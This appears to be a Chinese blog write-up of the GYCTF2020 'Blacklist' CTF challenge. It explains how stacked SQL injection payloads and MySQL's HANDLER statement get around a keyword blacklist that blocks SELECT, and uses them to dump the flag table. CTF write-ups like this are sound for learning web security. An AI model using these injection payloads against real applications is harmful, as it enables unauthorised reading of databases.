sql注入限制关键字(SELECT)使用HANDLER查询 [GYCTF2020]Blacklist

文章介绍了在解决GYCTF2020的Blacklist问题时,如何通过字符型注入判断和MySQL的HANDLER命令来遍历数据库,获取数据。通过HANDLER打开并读取数据表,从而避免了黑名单的限制。这种方法特别适用于存在特定数据库操作限制的情况。
摘要由CSDN通过智能技术生成

依据实例理解

[GYCTF2020]Blacklist

打开环境后是这样 

提交1出现数据

 输入2/1判断注入类型

回显为2,可以判断为字符型注入

输入select,查看是否存在回显:

爆出黑名单

没有show可以尝试堆叠注入

输入1';show databases;#

 1';show tables;查看表名

关键 

查询flag表结构1';desc FlagHere;

	HANDLER table_name OPEN [ [AS] a]
 
HANDLER table_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER table_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER table_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

通过HANDLER table_name OPEN打开一张表,无返回结果,
通过HANDLER table_name READ FIRST获取数据表第一行,通过将 READ FIRST改成READ NEXT依次获取其它行。有点类似于指针。
通过HANDLER table_name CLOSE来关闭打开的表。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER table_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER table_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

使用handler查询

1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#  

找到flag说明handler可用  但是仍需要注意此命令只能用于mysql数据库

 如果有对信息安全感兴趣的可以私聊我领取学习资料

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值